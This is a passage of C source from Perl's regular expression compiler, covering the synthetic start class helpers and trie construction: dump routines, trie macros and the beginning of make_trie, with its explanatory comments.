assert(is_ANYOF_SYNTHETIC(ssc)); cp_list = add_cp_to_invlist(cp_list, cp); ssc_intersection(ssc, cp_list, FALSE /* Not inverted */ ); SvREFCNT_dec_NN(cp_list); } PERL_STATIC_INLINE void S_ssc_clear_locale(regnode_ssc *ssc) { /* Set the SSC 'ssc' to not match any locale things */ PERL_ARGS_ASSERT_SSC_CLEAR_LOCALE; assert(is_ANYOF_SYNTHETIC(ssc)); ANYOF_POSIXL_ZERO(ssc); ANYOF_FLAGS(ssc) &= ~ANYOF_LOCALE_FLAGS; } #define NON_OTHER_COUNT NON_OTHER_COUNT_FOR_USE_ONLY_BY_REGCOMP_DOT_C STATIC bool S_is_ssc_worth_it(const RExC_state_t * pRExC_state, const regnode_ssc * ssc) { /* The synthetic start class is used to hopefully quickly winnow down * places where a pattern could start a match in the target string. If it * doesn't really narrow things down that much, there isn't much point to * having the overhead of using it. This function uses some very crude * heuristics to decide if to use the ssc or not. * * It returns TRUE if 'ssc' rules out more than half what it considers to * be the "likely" possible matches, but of course it doesn't know what the * actual things being matched are going to be; these are only guesses * * For /l matches, it assumes that the only likely matches are going to be * in the 0-255 range, uniformly distributed, so half of that is 127 * For /a and /d matches, it assumes that the likely matches will be just * the ASCII range, so half of that is 63 * For /u and there isn't anything matching above the Latin1 range, it * assumes that that is the only range likely to be matched, and uses * half that as the cut-off: 127. If anything matches above Latin1, * it assumes that all of Unicode could match (uniformly), except for * non-Unicode code points and things in the General Category "Other" * (unassigned, private use, surrogates, controls and formats). This * is a much large number. */ U32 count = 0; /* Running total of number of code points matched by 'ssc' */ UV start, end; /* Start and end points of current range in inversion XXX outdated. UTF-8 locales are common, what about invert? list */ const U32 max_code_points = (LOC) ? 256 : (( ! UNI_SEMANTICS || invlist_highest(ssc->invlist) < 256) ? 128 : NON_OTHER_COUNT); const U32 max_match = max_code_points / 2; PERL_ARGS_ASSERT_IS_SSC_WORTH_IT; invlist_iterinit(ssc->invlist); while (invlist_iternext(ssc->invlist, &start, &end)) { if (start >= max_code_points) { break; } end = MIN(end, max_code_points - 1); count += end - start + 1; if (count >= max_match) { invlist_iterfinish(ssc->invlist); return FALSE; } } return TRUE; } STATIC void S_ssc_finalize(pTHX_ RExC_state_t *pRExC_state, regnode_ssc *ssc) { /* The inversion list in the SSC is marked mortal; now we need a more * permanent copy, which is stored the same way that is done in a regular * ANYOF node, with the first NUM_ANYOF_CODE_POINTS code points in a bit * map */ SV* invlist = invlist_clone(ssc->invlist, NULL); PERL_ARGS_ASSERT_SSC_FINALIZE; assert(is_ANYOF_SYNTHETIC(ssc)); /* The code in this file assumes that all but these flags aren't relevant * to the SSC, except SSC_MATCHES_EMPTY_STRING, which should be cleared * by the time we reach here */ assert(! (ANYOF_FLAGS(ssc) & ~( ANYOF_COMMON_FLAGS |ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER |ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP))); populate_ANYOF_from_invlist( (regnode *) ssc, &invlist); set_ANYOF_arg(pRExC_state, (regnode *) ssc, invlist, NULL, NULL); /* Make sure is clone-safe */ ssc->invlist = NULL; if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc)) { ANYOF_FLAGS(ssc) |= ANYOF_MATCHES_POSIXL; OP(ssc) = ANYOFPOSIXL; } else if (RExC_contains_locale) { OP(ssc) = ANYOFL; } assert(! (ANYOF_FLAGS(ssc) & ANYOF_LOCALE_FLAGS) || RExC_contains_locale); } #define TRIE_LIST_ITEM(state,idx) (trie->states[state].trans.list)[ idx ] #define TRIE_LIST_CUR(state) ( TRIE_LIST_ITEM( state, 0 ).forid ) #define TRIE_LIST_LEN(state) ( TRIE_LIST_ITEM( state, 0 ).newstate ) #define TRIE_LIST_USED(idx) ( trie->states[state].trans.list \ ? (TRIE_LIST_CUR( idx ) - 1) \ : 0 ) #ifdef DEBUGGING /* dump_trie(trie,widecharmap,revcharmap) dump_trie_interim_list(trie,widecharmap,revcharmap,next_alloc) dump_trie_interim_table(trie,widecharmap,revcharmap,next_alloc) These routines dump out a trie in a somewhat readable format. The _interim_ variants are used for debugging the interim tables that are used to generate the final compressed representation which is what dump_trie expects. Part of the reason for their existence is to provide a form of documentation as to how the different representations function. */ /* Dumps the final compressed table form of the trie to Perl_debug_log. Used for debugging make_trie(). */ STATIC void S_dump_trie(pTHX_ const struct _reg_trie_data *trie, HV *widecharmap, AV *revcharmap, U32 depth) { U32 state; SV *sv=sv_newmortal(); int colwidth= widecharmap ? 6 : 4; U16 word; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_DUMP_TRIE; Perl_re_indentf( aTHX_ "Char : %-6s%-6s%-4s ", depth+1, "Match","Base","Ofs" ); for( state = 0 ; state < trie->uniquecharcount ; state++ ) { SV ** const tmp = av_fetch( revcharmap, state, 0); if ( tmp ) { Perl_re_printf( aTHX_ "%*s", colwidth, pv_pretty(sv, SvPV_nolen_const(*tmp), SvCUR(*tmp), colwidth, PL_colors[0], PL_colors[1], (SvUTF8(*tmp) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_ESCAPE_FIRSTCHAR ) ); } } Perl_re_printf( aTHX_ "\n"); Perl_re_indentf( aTHX_ "State|-----------------------", depth+1); for( state = 0 ; state < trie->uniquecharcount ; state++ ) Perl_re_printf( aTHX_ "%.*s", colwidth, "--------"); Perl_re_printf( aTHX_ "\n"); for( state = 1 ; state < trie->statecount ; state++ ) { const U32 base = trie->states[ state ].trans.base; Perl_re_indentf( aTHX_ "#%4" UVXf "|", depth+1, (UV)state); if ( trie->states[ state ].wordnum ) { Perl_re_printf( aTHX_ " W%4X", trie->states[ state ].wordnum ); } else { Perl_re_printf( aTHX_ "%6s", "" ); } Perl_re_printf( aTHX_ " @%4" UVXf " ", (UV)base ); if ( base ) { U32 ofs = 0; while( ( base + ofs < trie->uniquecharcount ) || ( base + ofs - trie->uniquecharcount < trie->lasttrans && trie->trans[ base + ofs - trie->uniquecharcount ].check != state)) ofs++; Perl_re_printf( aTHX_ "+%2" UVXf "[ ", (UV)ofs); for ( ofs = 0 ; ofs < trie->uniquecharcount ; ofs++ ) { if ( ( base + ofs >= trie->uniquecharcount ) && ( base + ofs - trie->uniquecharcount < trie->lasttrans ) && trie->trans[ base + ofs - trie->uniquecharcount ].check == state ) { Perl_re_printf( aTHX_ "%*" UVXf, colwidth, (UV)trie->trans[ base + ofs - trie->uniquecharcount ].next ); } else { Perl_re_printf( aTHX_ "%*s", colwidth," ." ); } } Perl_re_printf( aTHX_ "]"); } Perl_re_printf( aTHX_ "\n" ); } Perl_re_indentf( aTHX_ "word_info N:(prev,len)=", depth); for (word=1; word <= trie->wordcount; word++) { Perl_re_printf( aTHX_ " %d:(%d,%d)", (int)word, (int)(trie->wordinfo[word].prev), (int)(trie->wordinfo[word].len)); } Perl_re_printf( aTHX_ "\n" ); } /* Dumps a fully constructed but uncompressed trie in list form. List tries normally only are used for construction when the number of possible chars (trie->uniquecharcount) is very high. Used for debugging make_trie(). */ STATIC void S_dump_trie_interim_list(pTHX_ const struct _reg_trie_data *trie, HV *widecharmap, AV *revcharmap, U32 next_alloc, U32 depth) { U32 state; SV *sv=sv_newmortal(); int colwidth= widecharmap ? 6 : 4; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_DUMP_TRIE_INTERIM_LIST; /* print out the table precompression. */ Perl_re_indentf( aTHX_ "State :Word | Transition Data\n", depth+1 ); Perl_re_indentf( aTHX_ "%s", depth+1, "------:-----+-----------------\n" ); for( state=1 ; state < next_alloc ; state ++ ) { U16 charid; Perl_re_indentf( aTHX_ " %4" UVXf " :", depth+1, (UV)state ); if ( ! trie->states[ state ].wordnum ) { Perl_re_printf( aTHX_ "%5s| ",""); } else { Perl_re_printf( aTHX_ "W%4x| ", trie->states[ state ].wordnum ); } for( charid = 1 ; charid <= TRIE_LIST_USED( state ) ; charid++ ) { SV ** const tmp = av_fetch( revcharmap, TRIE_LIST_ITEM(state, charid).forid, 0); if ( tmp ) { Perl_re_printf( aTHX_ "%*s:%3X=%4" UVXf " | ", colwidth, pv_pretty(sv, SvPV_nolen_const(*tmp), SvCUR(*tmp), colwidth, PL_colors[0], PL_colors[1], (SvUTF8(*tmp) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_ESCAPE_FIRSTCHAR ) , TRIE_LIST_ITEM(state, charid).forid, (UV)TRIE_LIST_ITEM(state, charid).newstate ); if (!(charid % 10)) Perl_re_printf( aTHX_ "\n%*s| ", (int)((depth * 2) + 14), ""); } } Perl_re_printf( aTHX_ "\n"); } } /* Dumps a fully constructed but uncompressed trie in table form. This is the normal DFA style state transition table, with a few twists to facilitate compression later. Used for debugging make_trie(). */ STATIC void S_dump_trie_interim_table(pTHX_ const struct _reg_trie_data *trie, HV *widecharmap, AV *revcharmap, U32 next_alloc, U32 depth) { U32 state; U16 charid; SV *sv=sv_newmortal(); int colwidth= widecharmap ? 6 : 4; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_DUMP_TRIE_INTERIM_TABLE; /* print out the table precompression so that we can do a visual check that they are identical. */ Perl_re_indentf( aTHX_ "Char : ", depth+1 ); for( charid = 0 ; charid < trie->uniquecharcount ; charid++ ) { SV ** const tmp = av_fetch( revcharmap, charid, 0); if ( tmp ) { Perl_re_printf( aTHX_ "%*s", colwidth, pv_pretty(sv, SvPV_nolen_const(*tmp), SvCUR(*tmp), colwidth, PL_colors[0], PL_colors[1], (SvUTF8(*tmp) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_ESCAPE_FIRSTCHAR ) ); } } Perl_re_printf( aTHX_ "\n"); Perl_re_indentf( aTHX_ "State+-", depth+1 ); for( charid=0 ; charid < trie->uniquecharcount ; charid++ ) { Perl_re_printf( aTHX_ "%.*s", colwidth,"--------"); } Perl_re_printf( aTHX_ "\n" ); for( state=1 ; state < next_alloc ; state += trie->uniquecharcount ) { Perl_re_indentf( aTHX_ "%4" UVXf " : ", depth+1, (UV)TRIE_NODENUM( state ) ); for( charid = 0 ; charid < trie->uniquecharcount ; charid++ ) { UV v=(UV)SAFE_TRIE_NODENUM( trie->trans[ state + charid ].next ); if (v) Perl_re_printf( aTHX_ "%*" UVXf, colwidth, v ); else Perl_re_printf( aTHX_ "%*s", colwidth, "." ); } if ( ! trie->states[ TRIE_NODENUM( state ) ].wordnum ) { Perl_re_printf( aTHX_ " (%4" UVXf ")\n", (UV)trie->trans[ state ].check ); } else { Perl_re_printf( aTHX_ " (%4" UVXf ") W%4X\n", (UV)trie->trans[ state ].check, trie->states[ TRIE_NODENUM( state ) ].wordnum ); } } } #endif /* make_trie(startbranch,first,last,tail,word_count,flags,depth) startbranch: the first branch in the whole branch sequence first : start branch of sequence of branch-exact nodes. May be the same as startbranch last : Thing following the last branch. May be the same as tail. tail : item following the branch sequence count : words in the sequence flags : currently the OP() type we will be building one of /EXACT(|F|FA|FU|FU_SS|L|FLU8)/ depth : indent depth Inplace optimizes a sequence of 2 or more Branch-Exact nodes into a TRIE node. A trie is an N'ary tree where the branches are determined by digital decomposition of the key. IE, at the root node you look up the 1st character and follow that branch repeat until you find the end of the branches. Nodes can be marked as "accepting" meaning they represent a complete word. Eg: /he|she|his|hers/ would convert into the following structure. Numbers represent states, letters following numbers represent valid transitions on the letter from that state, if the number is in square brackets it represents an accepting state, otherwise it will be in parenthesis. +-h->+-e->[3]-+-r->(8)-+-s->[9] | | | (2) | | (1) +-i->(6)-+-s->[7] | +-s->(3)-+-h->(4)-+-e->[5] Accept Word Mapping: 3=>1 (he),5=>2 (she), 7=>3 (his), 9=>4 (hers) This shows that when matching against the string 'hers' we will begin at state 1 read 'h' and move to state 2, read 'e' and move to state 3 which is accepting, then read 'r' and go to state 8 followed by 's' which takes us to state 9 which is also accepting. Thus we know that we can match both 'he' and 'hers' with a single traverse. We store a mapping from accepting to state to which word was matched, and then when we have multiple possibilities we try to complete the rest of the regex in the order in which they occurred in the alternation. The only prior NFA like behaviour that would be changed by the TRIE support is the silent ignoring of duplicate alternations which are of the form: / (DUPE|DUPE) X? (?{ ... }) Y /x Thus EVAL blocks following a trie may be called a different number of times with and without the optimisation. With the optimisations dupes will be silently ignored. This inconsistent behaviour of EVAL type nodes is well established as the following demonstrates: 'words'=~/(word|word|word)(?{ print $1 })[xyz]/ which prints out 'word' three times, but 'words'=~/(word|word|word)(?{ print $1 })S/ which doesnt print it out at all. This is due to other optimisations kicking in. Example of what happens on a structural level: The regexp /(ac|ad|ab)+/ will produce the following debug output: 1: CURLYM[1] {1,32767}(18) 5: BRANCH(8) 6: EXACT <ac>(16) 8: BRANCH(11) 9: EXACT <ad>(16) 11: BRANCH(14) 12: EXACT <ab>(16) 16: SUCCEED(0) 17: NOTHING(18) 18: END(0) This would be optimizable with startbranch=5, first=5, last=16, tail=16 and should turn into: 1: CURLYM[1] {1,32767}(18) 5: TRIE(16) [Words:3 Chars Stored:6 Unique Chars:4 States:5 NCP:1] <ac> <ad> <ab> 16: SUCCEED(0) 17: NOTHING(18) 18: END(0) Cases where tail != last would be like /(?foo|bar)baz/: 1: BRANCH(4) 2: EXACT <foo>(8) 4: BRANCH(7) 5: EXACT <bar>(8) 7: TAIL(8) 8: EXACT <baz>(10) 10: END(0) which would be optimizable with startbranch=1, first=1, last=7, tail=8 and would end up looking like: 1: TRIE(8) [Words:2 Chars Stored:6 Unique Chars:5 States:7 NCP:1] <foo> <bar> 7: TAIL(8) 8: EXACT <baz>(10) 10: END(0) d = uvchr_to_utf8_flags(d, uv, 0); is the recommended Unicode-aware way of saying *(d++) = uv; */ #define TRIE_STORE_REVCHAR(val) \ STMT_START { \ if (UTF) { \ SV *zlopp = newSV(UTF8_MAXBYTES); \ unsigned char *flrbbbbb = (unsigned char *) SvPVX(zlopp); \ unsigned const char *const kapow = uvchr_to_utf8(flrbbbbb, val); \ SvCUR_set(zlopp, kapow - flrbbbbb); \ SvPOK_on(zlopp); \ SvUTF8_on(zlopp); \ av_push(revcharmap, zlopp); \ } else { \ char ooooff = (char)val; \ av_push(revcharmap, newSVpvn(&ooooff, 1)); \ } \ } STMT_END /* This gets the next character from the input, folding it if not already * folded. */ #define TRIE_READ_CHAR STMT_START { \ wordlen++; \ if ( UTF ) { \ /* if it is UTF then it is either already folded, or does not need \ * folding */ \ uvc = valid_utf8_to_uvchr( (const U8*) uc, &len); \ } \ else if (folder == PL_fold_latin1) { \ /* This folder implies Unicode rules, which in the range expressible \ * by not UTF is the lower case, with the two exceptions, one of \ * which should have been taken care of before calling this */ \ assert(*uc != LATIN_SMALL_LETTER_SHARP_S); \ uvc = toLOWER_L1(*uc); \ if (UNLIKELY(uvc == MICRO_SIGN)) uvc = GREEK_SMALL_LETTER_MU; \ len = 1; \ } else { \ /* raw data, will be folded later if needed */ \ uvc = (U32)*uc; \ len = 1; \ } \ } STMT_END #define TRIE_LIST_PUSH(state,fid,ns) STMT_START { \ if ( TRIE_LIST_CUR( state ) >=TRIE_LIST_LEN( state ) ) { \ U32 ging = TRIE_LIST_LEN( state ) * 2; \ Renew( trie->states[ state ].trans.list, ging, reg_trie_trans_le ); \ TRIE_LIST_LEN( state ) = ging; \ } \ TRIE_LIST_ITEM( state, TRIE_LIST_CUR( state ) ).forid = fid; \ TRIE_LIST_ITEM( state, TRIE_LIST_CUR( state ) ).newstate = ns; \ TRIE_LIST_CUR( state )++; \ } STMT_END #define TRIE_LIST_NEW(state) STMT_START { \ Newx( trie->states[ state ].trans.list, \ 4, reg_trie_trans_le ); \ TRIE_LIST_CUR( state ) = 1; \ TRIE_LIST_LEN( state ) = 4; \ } STMT_END #define TRIE_HANDLE_WORD(state) STMT_START { \ U16 dupe= trie->states[ state ].wordnum; \ regnode * const noper_next = regnext( noper ); \ \ DEBUG_r({ \ /* store the word for dumping */ \ SV* tmp; \ if (OP(noper) != NOTHING) \ tmp = newSVpvn_utf8(STRING(noper), STR_LEN(noper), UTF); \ else \ tmp = newSVpvn_utf8( "", 0, UTF ); \ av_push( trie_words, tmp ); \ }); \ \ curword++; \ trie->wordinfo[curword].prev = 0; \ trie->wordinfo[curword].len = wordlen; \ trie->wordinfo[curword].accept = state; \ \ if ( noper_next < tail ) { \ if (!trie->jump) \ trie->jump = (U16 *) PerlMemShared_calloc( word_count + 1, \ sizeof(U16) ); \ trie->jump[curword] = (U16)(noper_next - convert); \ if (!jumper) \ jumper = noper_next; \ if (!nextbranch) \ nextbranch= regnext(cur); \ } \ \ if ( dupe ) { \ /* It's a dupe. Pre-insert into the wordinfo[].prev */\ /* chain, so that when the bits of chain are later */\ /* linked together, the dups appear in the chain */\ trie->wordinfo[curword].prev = trie->wordinfo[dupe].prev; \ trie->wordinfo[dupe].prev = curword; \ } else { \ /* we haven't inserted this word yet. */ \ trie->states[ state ].wordnum = curword; \ } \ } STMT_END #define TRIE_TRANS_STATE(state,base,ucharcount,charid,special) \ ( ( base + charid >= ucharcount \ && base + charid < ubound \ && state == trie->trans[ base - ucharcount + charid ].check \ && trie->trans[ base - ucharcount + charid ].next ) \ ? trie->trans[ base - ucharcount + charid ].next \ : ( state==1 ? special : 0 ) \ ) #define TRIE_BITMAP_SET_FOLDED(trie, uvc, folder) \ STMT_START { \ TRIE_BITMAP_SET(trie, uvc); \ /* store the folded codepoint */ \ if ( folder ) \ TRIE_BITMAP_SET(trie, folder[(U8) uvc ]); \ \ if ( !UTF ) { \ /* store first byte of utf8 representation of */ \ /* variant codepoints */ \ if (! UVCHR_IS_INVARIANT(uvc)) { \ TRIE_BITMAP_SET(trie, UTF8_TWO_BYTE_HI(uvc)); \ } \ } \ } STMT_END #define MADE_TRIE 1 #define MADE_JUMP_TRIE 2 #define MADE_EXACT_TRIE 4 STATIC I32 S_make_trie(pTHX_ RExC_state_t *pRExC_state, regnode *startbranch, regnode *first, regnode *last, regnode *tail, U32 word_count, U32 flags, U32 depth) { /* first pass, loop through and scan words */ reg_trie_data *trie; HV *widecharmap = NULL; AV *revcharmap = newAV(); regnode *cur; STRLEN len = 0; UV uvc = 0; U16 curword = 0; U32 next_alloc = 0; regnode *jumper = NULL; regnode *nextbranch = NULL; regnode *convert = NULL; U32 *prev_states; /* temp array mapping each state to previous one */ /* we just use folder as a flag in utf8 */ const U8 * folder = NULL; /* in the below add_data call we are storing either 'tu' or 'tuaa' * which stands for one trie structure, one hash, optionally followed * by two arrays */ #ifdef DEBUGGING const U32 data_slot = add_data( pRExC_state, STR_WITH_LEN("tuaa")); AV *trie_words = NULL; /* along with revcharmap, this only used during construction but both are * useful during debugging so we store them in the struct when debugging. */ #else const U32 data_slot = add_data( pRExC_state, STR_WITH_LEN("tu")); STRLEN trie_charcount=0; #endif SV *re_trie_maxbuff; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_MAKE_TRIE; #ifndef DEBUGGING PERL_UNUSED_ARG(depth); #endif switch (flags) { case EXACT: case EXACT_ONLY8: case EXACTL: break; case EXACTFAA: case EXACTFUP: case EXACTFU: case EXACTFLU8: folder = PL_fold_latin1; break; case EXACTF: folder = PL_fold; break; default: Perl_croak( aTHX_ "panic! In trie construction, unknown node type %u %s", (unsigned) flags, PL_reg_name[flags] ); } trie = (reg_trie_data *) PerlMemShared_calloc( 1, sizeof(reg_trie_data) ); trie->refcount = 1; trie->startstate = 1; trie->wordcount = word_count; RExC_rxi->data->data[ data_slot ] = (void*)trie; trie->charmap = (U16 *) PerlMemShared_calloc( 256, sizeof(U16) ); if (flags == EXACT || flags == EXACT_ONLY8 || flags == EXACTL) trie->bitmap = (char *) PerlMemShared_calloc( ANYOF_BITMAP_SIZE, 1 ); trie->wordinfo = (reg_trie_wordinfo *) PerlMemShared_calloc( trie->wordcount+1, sizeof(reg_trie_wordinfo)); DEBUG_r({ trie_words = newAV(); }); re_trie_maxbuff = get_sv(RE_TRIE_MAXBUF_NAME, GV_ADD); assert(re_trie_maxbuff); if (!SvIOK(re_trie_maxbuff)) { sv_setiv(re_trie_maxbuff, RE_TRIE_MAXBUF_INIT); } DEBUG_TRIE_COMPILE_r({ Perl_re_indentf( aTHX_ "make_trie start==%d, first==%d, last==%d, tail==%d depth=%d\n", depth+1, REG_NODE_NUM(startbranch), REG_NODE_NUM(first), REG_NODE_NUM(last), REG_NODE_NUM(tail), (int)depth); }); /* Find the node we are going to overwrite */ if ( first == startbranch && OP( last ) != BRANCH ) { /* whole branch chain */ convert = first; } else { /* branch sub-chain */ convert = NEXTOPER( first ); } /* -- First loop and Setup -- We first traverse the branches and scan each word to determine if it contains widechars, and how many unique chars there are, this is important as we have to build a table with at least as many columns as we have unique chars. We use an array of integers to represent the character codes 0..255 (trie->charmap) and we use a an HV* to store Unicode characters. We use the native representation of the character value as the key and IV's for the coded index. *TODO* If we keep track of how many times each character is used we can remap the columns so that the table compression later on is more efficient in terms of memory by ensuring the most common value is in the middle and the least common are on the outside. IMO this would be better than a most to least common mapping as theres a decent chance the most common letter will share a node with the least common, meaning the node will not be compressible. With a middle is most common approach the worst case is when we have the least common nodes twice. */ for ( cur = first ; cur < last ; cur = regnext( cur ) ) { regnode *noper = NEXTOPER( cur ); const U8 *uc; const U8 *e; int foldlen = 0; U32 wordlen = 0; /* required init */ STRLEN minchars = 0; STRLEN maxchars = 0; bool set_bit = trie->bitmap ? 1 : 0; /*store the first char in the bitmap?*/ if (OP(noper) == NOTHING) { /* skip past a NOTHING at the start of an alternation * eg, /(?:)a|(?:b)/ should be the same as /a|b/ * * If the next node is not something we are supposed to process * we will just ignore it due to the condition guarding the * next block. */ regnode *noper_next= regnext(noper); if (noper_next < tail) noper= noper_next; } if ( noper < tail && ( OP(noper) == flags || (flags == EXACT && OP(noper) == EXACT_ONLY8) || (flags == EXACTFU && ( OP(noper) == EXACTFU_ONLY8 || OP(noper) == EXACTFUP)))) { uc= (U8*)STRING(noper); e= uc + STR_LEN(noper); } else { trie->minlen= 0; continue; } if ( set_bit ) { /* bitmap only alloced when !(UTF&&Folding) */ TRIE_BITMAP_SET(trie,*uc); /* store the raw first byte regardless of encoding */ if (OP( noper ) == EXACTFUP) { /* false positives are ok, so just set this */ TRIE_BITMAP_SET(trie, LATIN_SMALL_LETTER_SHARP_S); } } for ( ; uc < e ; uc += len ) { /* Look at each char in the current branch */ TRIE_CHARCOUNT(trie)++; TRIE_READ_CHAR; /* TRIE_READ_CHAR returns the current character, or its fold if /i * is in effect. Under /i, this character can match itself, or * anything that folds to it. If not under /i, it can match just * itself. Most folds are 1-1, for example k, K, and KELVIN SIGN * all fold to k, and all are single characters. But some folds * expand to more than one character, so for example LATIN SMALL * LIGATURE FFI folds to the three character sequence 'ffi'. If * the string beginning at 'uc' is 'ffi', it could be matched by * three characters, or just by the one ligature character. (It * could also be matched by two characters: LATIN SMALL LIGATURE FF * followed by 'i', or by 'f' followed by LATIN SMALL LIGATURE FI). * (Of course 'I' and/or 'F' instead of 'i' and 'f' can also * match.) The trie needs to know the minimum and maximum number * of characters that could match so that it can use size alone to * quickly reject many match attempts. The max is simple: it is * the number of folded characters in this branch (since a fold is * never shorter than what folds to it. */ maxchars++; /* And the min is equal to the max if not under /i (indicated by * 'folder' being NULL), or there are no multi-character folds. If * there is a multi-character fold, the min is incremented just * once, for the character that folds to the sequence. Each * character in the sequence needs to be added to the list below of * characters in the trie, but we count only the first towards the * min number of characters needed. This is done through the * variable 'foldlen', which is returned by the macros that look * for these sequences as the number of bytes the sequence * occupies. Each time through the loop, we decrement 'foldlen' by * how many bytes the current char occupies. Only when it reaches * 0 do we increment 'minchars' or look for another multi-character * sequence. */ if (folder == NULL) { minchars++; } else if (foldlen > 0) { foldlen -= (UTF) ? UTF8SKIP(uc) : 1; } else { minchars++; /* See if *uc is the beginning of a multi-character fold. If * so, we decrement the length remaining to look at, to account * for the current character this iteration. (We can use 'uc' * instead of the fold returned by TRIE_READ_CHAR because for * non-UTF, the latin1_safe macro is smart enough to account * for all the unfolded characters, and because for UTF, the * string will already have been folded earlier in the * compilation process */ if (UTF) { if ((foldlen = is_MULTI_CHAR_FOLD_utf8_safe(uc, e))) { foldlen -= UTF8SKIP(uc); } } else if ((foldlen = is_MULTI_CHAR_FOLD_latin1_safe(uc, e))) { foldlen--; } } /* The current character (and any potential folds) should be added * to the possible matching characters for this position in this * branch */ if ( uvc < 256 ) { if ( folder ) { U8 folded= folder[ (U8) uvc ]; if ( !trie->charmap[ folded ] ) { trie->charmap[ folded ]=( ++trie->uniquecharcount ); TRIE_STORE_REVCHAR( folded ); } } if ( !trie->charmap[ uvc ] ) { trie->charmap[ uvc ]=( ++trie->uniquecharcount ); TRIE_STORE_REVCHAR( uvc ); } if ( set_bit ) { /* store the codepoint in the bitmap, and its folded * equivalent. */ TRIE_BITMAP_SET_FOLDED(trie, uvc, folder); set_bit = 0; /* We've done our bit :-) */ } } else { /* XXX We could come up with the list of code points that fold * to this using PL_utf8_foldclosures, except not for * multi-char folds, as there may be multiple combinations * there that could work, which needs to wait until runtime to * resolve (The comment about LIGATURE FFI above is such an * example */ SV** svpp; if ( !widecharmap ) widecharmap = newHV(); svpp = hv_fetch( widecharmap, (char*)&uvc, sizeof( UV ), 1 ); if ( !svpp ) Perl_croak( aTHX_ "error creating/fetching widecharmap entry for 0x%" UVXf, uvc ); if ( !SvTRUE( *svpp ) ) { sv_setiv( *svpp, ++trie->uniquecharcount ); TRIE_STORE_REVCHAR(uvc); } } } /* end loop through characters in this branch of the trie */ /* We take the min and max for this branch and combine to find the min * and max for all branches processed so far */ if( cur == first ) { trie->minlen = minchars; trie->maxlen = maxchars; } else if (minchars < trie->minlen) { trie->minlen = minchars; } else if (maxchars > trie->maxlen) { trie->maxlen = maxchars; } } /* end first pass */ DEBUG_TRIE_COMPILE_r( Perl_re_indentf( aTHX_ "TRIE(%s): W:%d C:%d Uq:%d Min:%d Max:%d\n", depth+1, ( widecharmap ? "UTF8" : "NATIVE" ), (int)word_count, (int)TRIE_CHARCOUNT(trie), trie->uniquecharcount, (int)trie->minlen, (int)trie->maxlen ) ); /* We now know what we are dealing with in terms of unique chars and string sizes so we can calculate how much memory a naive representation using a flat table will take. If it's over a reasonable limit (as specified by ${^RE_TRIE_MAXBUF}) we use a more memory conservative but potentially much slower representation using an array of lists. At the end we convert both representations into the same compressed form that will be used in regexec.c for matching with. The latter is a form that cannot be used to construct with but has memory properties similar to the list form and access properties similar to the table form making it both suitable for fast searches and small enough that its feasable to store for the duration of a program. See the comment in the code where the compressed table is produced inplace from the flat tabe representation for an explanation of how the compression works. */ Newx(prev_states, TRIE_CHARCOUNT(trie) + 2, U32); prev_states[1] = 0; if ( (IV)( ( TRIE_CHARCOUNT(trie) + 1 ) * trie->uniquecharcount + 1) > SvIV(re_trie_maxbuff) ) { /* Second Pass -- Array Of Lists Representation Each state will be represented by a list of charid:state records (reg_trie_trans_le) the first such element holds the CUR and LEN points of the allocated array. (See defines above). We build the initial structure using the lists, and then convert it into the compressed table form which allows faster lookups (but cant be modified once converted). */ STRLEN transcount = 1; DEBUG_TRIE_COMPILE_MORE_r( Perl_re_indentf( aTHX_ "Compiling trie using list compiler\n", depth+1)); trie->states = (reg_trie_state *) PerlMemShared_calloc( TRIE_CHARCOUNT(trie) + 2, sizeof(reg_trie_state) ); TRIE_LIST_NEW(1); next_alloc = 2; for ( cur = first ; cur < last ; cur = regnext( cur ) ) { regnode *noper = NEXTOPER( cur ); U32 state = 1; /* required init */ U16 charid = 0; /* sanity init */ U32 wordlen = 0; /* required init */ if (OP(noper) == NOTHING) { regnode *noper_next= regnext(noper); if (noper_next < tail) noper= noper_next; /* we will undo this assignment if noper does not * point at a trieable type in the else clause of * the following statement. */ } if ( noper < tail && ( OP(noper) == flags || (flags == EXACT && OP(noper) == EXACT_ONLY8) || (flags == EXACTFU && ( OP(noper) == EXACTFU_ONLY8 || OP(noper) == EXACTFUP)))) { const U8 *uc= (U8*)STRING(noper); const U8 *e= uc + STR_LEN(noper); for ( ; uc < e ; uc += len ) { TRIE_READ_CHAR; if ( uvc < 256 ) { charid = trie->charmap[ uvc ]; } else { SV** const svpp = hv_fetch( widecharmap, (char*)&uvc, sizeof( UV ), 0); if ( !svpp ) { charid = 0; } else { charid=(U16)SvIV( *svpp ); } } /* charid is now 0 if we dont know the char read, or * nonzero if we do */ if ( charid ) { U16 check; U32 newstate = 0; charid--; if ( !trie->states[ state ].trans.list ) { TRIE_LIST_NEW( state ); } for ( check = 1; check <= TRIE_LIST_USED( state ); check++ ) { if ( TRIE_LIST_ITEM( state, check ).forid == charid ) { newstate = TRIE_LIST_ITEM( state, check ).newstate; break; } } if ( ! newstate ) { newstate = next_alloc++; prev_states[newstate] = state; TRIE_LIST_PUSH( state, charid, newstate ); transcount++; } state = newstate; } else { Perl_croak( aTHX_ "panic! In trie construction, no char mapping for %" IVdf, uvc ); } } } else { /* If we end up here it is because we skipped past a NOTHING, but did not end up * on a trieable type. So we need to reset noper back to point at the first regop * in the branch before we call TRIE_HANDLE_WORD() */ noper= NEXTOPER(cur); } TRIE_HANDLE_WORD(state); } /* end second pass */ /* next alloc is the NEXT state to be allocated */ trie->statecount = next_alloc; trie->states = (reg_trie_state *) PerlMemShared_realloc( trie->states, next_alloc * sizeof(reg_trie_state) ); /* and now dump it out before we compress it */ DEBUG_TRIE_COMPILE_MORE_r(dump_trie_interim_list(trie, widecharmap, revcharmap, next_alloc, depth+1) ); trie->trans = (reg_trie_trans *) PerlMemShared_calloc( transcount, sizeof(reg_trie_trans) ); { U32 state; U32 tp = 0; U32 zp = 0; for( state=1 ; state < next_alloc ; state ++ ) { U32 base=0; /* DEBUG_TRIE_COMPILE_MORE_r( 